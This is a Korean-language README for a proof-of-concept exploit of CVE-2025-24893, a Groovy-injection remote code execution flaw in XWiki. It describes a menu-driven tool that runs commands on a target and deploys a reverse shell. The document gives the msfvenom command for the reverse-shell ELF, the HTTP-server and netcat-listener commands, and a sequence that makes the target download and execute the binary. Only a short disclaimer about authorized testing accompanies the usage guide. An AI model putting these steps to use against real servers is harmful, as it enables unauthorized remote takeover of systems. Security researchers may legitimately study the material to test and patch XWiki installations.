XWiki CVE-2025-24893 개념 증명

저자: Net.Doge & Infinit3i

이 파이썬 스크립트는 CVE-2025-24893를 악용합니다. 이 취약점은 XWiki에서 비동기적으로 렌더링되는 Groovy 매크로의 부적절한 샌드박싱으로 인해 발생하는 원격 코드 실행(RCE) 취약점입니다. RSS 기반 SolrSearch 엔드포인트에 인젝션을 통해 임의의 명령 실행을 허용합니다.

📌 특징

• Groovy 인젝션을 통한 단일 명령 실행
• 자동 리버스 셸 페이로드 생성 (msfvenom 사용)
• 다음 항목을 사용자 지정할 수 있는 옵션:
  • 원격 대상
  • 로컬 IP 주소
  • HTTP 서버 포트
  • 리버스 셸 비콘 포트
• 깔끔한 bash 페이로드 미리보기
• ANSI 색상 코딩된 대화형 TUI

🚀 사용법

1. 스크립트를 클론하거나 다운로드하세요.

2. 다음 항목이 설치되어 있어야 합니다:

   • Metasploit의 msfvenom
   • Python 3
   • jq (bash 페이로드에서 사용)

3. 스크립트를 실행하세요:

python3 CVE-2025-24893-PoC.py

4. 메뉴에서 선택하세요:

   • 명령 실행 – 원격으로 셸 명령을 실행합니다.
   • 리버스 셸 – ELF 리버스 셸을 생성하여 대상에 배포합니다.
   • 설정 변경 – LHOST, RHOST, 서버 포트 또는 비콘 포트를 수정합니다.

🧪 리버스 셸 워크플로우

1. 페이로드가 생성됩니다:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. Python HTTP 서버와 netcat 리스너를 시작하라는 메시지가 나타납니다:

python3 -m http.server 8080
nc -lvnp 31337

3. 스크립트는 대상에 다음 시퀀스를 전송합니다:

   • 페이로드 다운로드
   • 실행 가능하게 만들기
   • 바이너리 실행

⚠️ 고지 사항

이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 소유하지 않거나 명시적인 테스트 권한이 없는 시스템에 대한 무단 사용은 불법이며 비윤리적입니다.

📄 참고 자료

• XWiki
• MITRE CVE-2025-24893